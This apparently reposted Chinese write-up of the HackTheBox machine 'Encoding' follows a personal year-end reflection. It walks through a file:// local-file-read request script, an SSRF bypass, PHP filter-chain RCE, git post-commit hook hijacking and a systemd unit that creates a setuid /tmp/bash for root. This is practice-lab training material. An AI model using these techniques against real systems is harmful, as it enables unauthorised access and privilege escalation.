HackTheBox - Medium - Linux - Encoding

Encoding

前言

经过10个月左右的网安自学,我想说的第一句话无疑是:感谢TryHackMe。当然,后续的HackTheBox&学院、CRTO等等,对我的帮助都很大。

许多师傅们都在年度总结,我也看了大家都收获很多,都很厉害。我想我就没有必要了,我想在2023这一年里我的博客内容就是最棒的总结和结果.

昨天是我没有打htb靶机并且写wp的一天, 昨晚也是2023年最后一个夜晚,我们TryHackMyOffsecBox的八位师傅们一起在htb打4v4攻防对抗

file

当然啦,最终我也是惜败了,重要是我们八位师傅都使用kook语音交流,氛围很棒,双方的攻防过程也很爽,各位师傅反馈虽然靶机总是出问题,但是整体还是很爽的

file

我方视角:

【2023年最后一晚 - HTB 网络安全4v4攻防对抗 M1n9K1n9第一视角-哔哩哔哩】 https://b23.tv/qdcYL2m

对方视角:

【TryHackMyOffsecBox 跨年活动 4v4 对抗 Cyber Mayhem Randark第一视角-哔哩哔哩】 https://b23.tv/NQup0VD


目前htb 4v4攻防对抗这个游戏已经被我设置为群周常活动,每周日晚开打

就像一年前的今天,我在thm初学并且第一次打koth一样,这是历史以一种类似的方式重新上演了。

file

file

总而言之,保持学习,向大佬学习,继续向前,宁愿做大佬堆里的腊鸡,也不愿意做…


Encoding是一种中等难度的 Linux 计算机,其 Web 应用程序容易受到本地文件读取的攻击。通过读取目标上的任意文件的能力,攻击者可以首先利用 Web 应用程序中的 PHP LFI 漏洞,以“www-data”用户身份访问服务器。然后,他们可以在服务器上发现一个名为“git-commit.sh”的脚本,该脚本允许他们以 James 用户的身份提交代码。通过检查“utils.php”文件,攻击者可以发现该脚本以具有 sudo 权限的“svc”用户身份运行。通过恶意 Git 钩子,攻击者可以获取“svc”用户的 SSH 密钥。该用户可以通过 sudo 以 root 用户身份重启服务。攻击者可滥用此权限,通过修改现有服务文件或创建新服务文件,以 root 身份执行任意代码。


外部信息收集

端口扫描

循例nmap

file

Web枚举

任意文件读取

在api中看到一个

file

尝试一下就可以发现,这里存在LFI,把http改file协议

import requestsjson_data = {'action': 'str2hex','file_url' : 'file:///etc/passwd'}response = requests.post('http://api.haxtables.htb/v3/tools/string/index.php', json=json_data)
print(response.text)

decode就可以得到明文数据

file

读apache默认配置

<VirtualHost *:80>ServerName haxtables.htbServerAdmin webmaster@localhostDocumentRoot /var/www/htmlErrorLog ${APACHE_LOG_DIR}/error.logCustomLog ${APACHE_LOG_DIR}/access.log combined</VirtualHost><VirtualHost *:80>ServerName api.haxtables.htbServerAdmin webmaster@localhostDocumentRoot /var/www/apiErrorLog ${APACHE_LOG_DIR}/error.logCustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost><VirtualHost *:80>ServerName image.haxtables.htbServerAdmin webmaster@localhostDocumentRoot /var/www/imageErrorLog ${APACHE_LOG_DIR}/error.logCustomLog ${APACHE_LOG_DIR}/access.log combined#SecRuleEngine On<LocationMatch />SecAction initcol:ip=%{REMOTE_ADDR},pass,nolog,id:'200001'SecAction "phase:5,deprecatevar:ip.somepathcounter=1/1,pass,nolog,id:'200002'"SecRule IP:SOMEPATHCOUNTER "@gt 5" "phase:2,pause:300,deny,status:509,setenv:RATELIMITED,skip:1,nolog,id:'200003'"SecAction "phase:2,pass,setvar:ip.somepathcounter=+1,nolog,id:'200004'"Header always set Retry-After "10" env=RATELIMITED</LocationMatch>ErrorDocument 429 "Rate Limit Exceeded"<Directory /var/www/image>Deny from allAllow from 127.0.0.1Options Indexes FollowSymLinksAllowOverride AllRequire all granted</DIrectory></VirtualHost># vim: syntax=apache ts=4 sw=4 sts=4 sr noet

读/var/www/image/index.php

<?php 
include_once 'utils.php';
include 'includes/coming_soon.html';
?>

utils.php

<?php// Global functions
function jsonify($body, $code = null)
{if ($code) {http_response_code($code);}header('Content-Type: application/json; charset=utf-8');echo json_encode($body);exit;
}function get_url_content($url)
{$domain = parse_url($url, PHP_URL_HOST);if (gethostbyname($domain) === "127.0.0.1") {echo jsonify(["message" => "Unacceptable URL"]);}$ch = curl_init();curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTP);curl_setopt($ch, CURLOPT_REDIR_PROTOCOLS, CURLPROTO_HTTPS);curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,2);curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);$url_content =  curl_exec($ch);curl_close($ch);return $url_content;
}function git_status()
{$status = shell_exec('cd /var/www/image && /usr/bin/git status');return $status;
}function git_log($file)
{$log = shell_exec('cd /var/www/image && /ust/bin/git log --oneline "' . addslashes($file) . '"');return $log;
}function git_commit()
{$commit = shell_exec('sudo -u svc /var/www/image/scripts/git-commit.sh');return $commit;
}
?>

Foothold

从上面两个函数里面的内容来看,/var/www/image下有git存储库

参考这篇文章,我们将手动从.git重建存储库

读HEAD看当前分支的引用

file:///var/www/image/.git/HEAD

file

继续读 .git/refs/heads/master

file

本地创建个目录并且创建git存储库

file

将文件下到本地

.git/objects/9c/17e5362e5ce2f30023992daad5b74cc562750b

file

git cat-file

file

接着读tree

.git/objects/30/617cae3686895c80152d93a0568e3d0b6a0c49

file

读actions

file

读action_handler.php,经典文件包含

┌──(ming👻m1n9k1n9-parrot)-[~/test]
└─$ git cat-file -p 2d600ee8a453abd9bd515c41c8fa786b95f96f82
<?phpinclude_once 'utils.php';if (isset($_GET['page'])) {$page = $_GET['page'];include($page);} else {echo jsonify(['message' => 'No page specified!']);
}?>

然而image子域我们是无权访问的,但我们可以通过最开始的文件读取漏洞来转换为SSRF

utils.php中做了限制,我们通过@来绕过

file

现在我们可以读到目标上的文件,同时我发现php://filter 也可用,但是就是无法访问目标机器外的远程文件,无法触发RFI

这篇文章给我们非常详细的讲述了如何绕过这种限制,并且利用iconv包装器通过奇奇怪怪的编码转换,在读取的文件头部中最终插入我们期望的字符串,最终导致RCE

脚本则在github

我们执行id命令

file

file

常规bash reverse shell

file

file

本地横向移动 -> svc

sudo -l

file

发现.git有acl

file

进.git/一看,全有acl

file

既然hooks全都可写,那就是经典hook劫持

我们劫持git commit后会触发的post-commit

file

file

此外,我们还需要通过–work-tree参数设置到其他目录,然后提交其他文件,因为我们在image/下无权新增其他文件

file

nc

file

本地权限提升

sudo -l

file

不出意外的话就要出意外了

从sudo -l这个条目不难看出进攻思路,当前用户svc肯定是对某个服务的配置文件可写,然后我们restart执行命令提权

在/etc/systemd下又发现system有acl,但是不可读

file

然而other可读,我们需要www-data的shell帮助我们

system/里面也是全是acl,随便看一个文件的acl,发现svc可写

file

接下来就相当轻松也很熟悉了,随便搞个配置,抓住ExecStart

[Unit]
Description=My Service[Service]
User=root
Group=root
ExecStart=/bin/bash -c "cp /bin/bash /tmp/bash;chmod +s /tmp/bash"[Install]
WantedBy=default.target

保存到文件并且base64

file

将base64在目标上解码并写入system/,再sudo去restart,我们的老朋友将如期而至

file

root flag还在老地方

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/590855.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Docker容器基础知识点总结

一 、Docker架构 dockers加速镜像&#xff1a; sudo mkdir -p /etc/docker sudo tee /etc/docker/daemon.json <<-EOF {"registry-mirrors": ["https://z90yxq2m.mirror.aliyuncs.com"] } EOF sudo systemctl daemon-reload sudo systemctl restar…

MySQL基础学习: linux系统mysql 密码插件 validate_password安装

1、没有安装mysql密码插件&#xff0c;执行命令&#xff1a;SHOW VARIABLES LIKE ‘validate_password%’; 2、安装mysql密码插件&#xff0c;执行命令&#xff1a;install plugin validate_password soname ‘validate_password.so’; 3、再次执行&#xff1a;SHOW VARIABLE…

【Unity入门】MenuItem 和 ContextMenu 的使用方法

目录 一、ContextMenu描述使用示例ContextMenuItem使用示例 二、MenuItem描述使用示例 三、MenuItem 和 ContextMenu 的区别 一、ContextMenu 描述 ContextMenu 属性用于向上下文菜单添加命令。 在该附加脚本的 Inspector 中&#xff0c;当用户选择该上下文菜单时&#xff0c…

【Spring实战】16 Profile

文章目录 1. 定义2. 使用2.1 定义 Profile2.2 激活 Profile 3. 演示3.1 properties文件3.2 打印日志3.3 启动服务&验证3.4 修改 active3.5 重启服务&验证 4. 应用场景4.1 数据库配置4.2 日志配置 5. 代码详细总结 Spring 框架提供了一种强大的机制&#xff0c;允许在不…

docker 在线安装mysql 8.0.21版本

1、拉取mysql 8.0.21版本镜像 2、查看镜像 docker images 3、在宿主机 /usr/local/mysql 下的 conf 文件夹下&#xff0c;创建 my.cnf 文件&#xff0c;并编辑内容 [mysql] default-character-setutf8 [client] port3306 default-character-setutf8 [mysqld] port3306 se…

普中STM32-PZ6806L 使用FlyMcu串口烧录程序

简介 我的串口下载电路坏掉了, 所以研究了下如何通过USB转TTL进行程序的下载, 为后续Bootloader部分做准备;连接 我的板几乎是十年前买的&#xff0c; 所以电路与现有网上的资料有些差异, 所以仅供参考 USB 转 TTL线 与开发板 连接&#xff0c; 如图图中 ①, 需要去掉第一个…

YOLOv8训练损失、mAP画图功能 | 支持多结果对比,多结果绘在一个图片(科研必备)

一、本文介绍 本文给大家带来的是YOLOv8系列的绘图功能&#xff0c;我将向大家介绍YOLO系列的绘图功能。我们在进行实验时&#xff0c;经常需要比较多个结果&#xff0c;针对这一问题&#xff0c;我写了点代码来解决这个问题&#xff0c;它可以根据训练结果绘制损失(loss)和mA…

python实现平滑线性滤波器——数字图像处理

原理&#xff1a; 平滑线性滤波器是一种在图像处理中广泛使用的工具&#xff0c;主要用于降低图像噪声或模糊细节。这些滤波器的核心原理基于对图像中每个像素及其邻域像素的线性组合。 邻域平均&#xff1a; 平滑线性滤波器通过对目标像素及其周围邻域像素的强度值取平均来工…

Openwrt修改Dropbear ssh root密码

使用ssh工具连接路由器 输入&#xff1a;passwd root 输入新密码 重复新密码 设置完成 rootImmortalWrt:~# passwd root Changing password for root New password:

dll文件和exe文件的区别和关系

dll文件 DLL(Dynamic Link Library)文件为动态链接库文件&#xff0c;又称"应用程序拓展"&#xff0c;是软件文件类型。在Windows中&#xff0c;许多应用程序并不是一个完整的可执行文件&#xff0c;它们被分割成一些相对独立的动态链接库&#xff0c;即DLL文件&…

【前缀和】【分类讨论】【二分查找】2983:回文串重新排列查询

作者推荐 【动态规划】【字符串】C算法&#xff1a;正则表达式匹配 本文涉及的基础知识点 C算法&#xff1a;前缀和、前缀乘积、前缀异或的原理、源码及测试用例 包括课程视频 二分查找算法合集 回文串重新排列查询 给你一个长度为 偶数 n &#xff0c;下标从 0 开始的字符…

QT上位机开发(绘图软件)

【 声明&#xff1a;版权所有&#xff0c;欢迎转载&#xff0c;请勿用于商业用途。 联系信箱&#xff1a;feixiaoxing 163.com】 稍微复杂一点的软件&#xff0c;一般都是带有绘图功能。绘图的意义&#xff0c;不仅仅是像CAD一样&#xff0c;可以进行模型的设计、比对和调试。它…

爬虫实战-微博评论爬取

简介 最近在做NLP方面的研究&#xff0c;以前一直在做CV方面。最近由于chatgpt&#xff0c;所以对NLP就非常感兴趣。索性就开始研究起来了。 其实我们都知道&#xff0c;无论是CV方向还是NLP方向的模型实现&#xff0c;都是离不开数据的。哪怕是再先进的代码&#xff0c;都是…

数据结构--队列【详解】~(˶‾᷄ꈊ‾᷅˵)~

目录 队列定义&#xff1a; 队列的声明与头文件的包含&#xff1a; 队列的声明&#xff1a; 头文件的包含&#xff1a; 队列的基本操作: 初始化队列 : 摧毁队列&#xff1a; 入队列&#xff1a; 出队列&#xff1a; 返回队头数据&#xff1a; 返回队尾数据&#xff1…

Node.js使用jemalloc内存分配器显著减少内存使用

前言 Node.js 默认使用的是 ptmalloc(glibc) 内存分配器&#xff0c;而&#xff1a; 在服务端领域「不会选择默认的 malloc」是一个常识。&#xff08; 来源 &#xff09; ptmalloc 的分配效率较低&#xff08; 来源 &#xff09;&#xff0c;对于 长时间、多核 / 多线程 运行…

算法训练day56|动态规划part16

583. 两个字符串的删除操作 逆向思路&#xff1a;求最长公共子序列&#xff0c;在用总长度-2*公共子序列长度 正向思路&#xff1a;删除多少 1. dp数组&#xff08;dp table&#xff09;以及下标的含义 dp[i][j]&#xff1a;以i-1为结尾的字符串word1&#xff0c;和以j-1位结…

JDBC->SpringJDBC->Mybatis封装JDBC

一、JDBC介绍 Java数据库连接&#xff0c;&#xff08;Java Database Connectivity&#xff0c;简称JDBC&#xff09;是Java语言中用来规范客户端程序如何来访问数据库的应用程序接口&#xff0c;提供了诸如查询和更新数据库中数据的方法。JDBC也是Sun Microsystems的商标。我们…

polar CTF WEB-veryphp

1、题目 <?php error_reporting(0); highlight_file(__FILE__); include("config.php"); class qwq {function __wakeup(){die("Access Denied!");}static function oao(){show_source("config.php");} } $str file_get_contents("ph…

【快速全面掌握 WAMPServer】11.安装 PHP 扩展踩过的坑

网管小贾 / sysadm.cc 我们在调试程序代码时&#xff0c;总会遇到一些 PHP 项目需要某些扩展组件。 而在 WAMPServer 下通常的 PHP 扩展的安装也不算有多麻烦。 具体关于 PHP 扩展的区分&#xff08;比如安全线程或非安全线程&#xff09;&#xff0c;以及怎么安装小伙伴们可…

TDD-LTE 寻呼流程

目录 1. 寻呼成功流程 1.1 空闲态寻呼 1.2 连接态寻呼 2. 寻呼失败流程 2.1 Paging消息不可达 2.2 RRC建立失败 2.3 eNodeB未上发Initial UE message或达到超时 1. 寻呼成功流程 1.1 空闲态寻呼 寻呼成功&#xff1a;MME发起寻呼&#xff08;S1 接口发送Paing 消息&…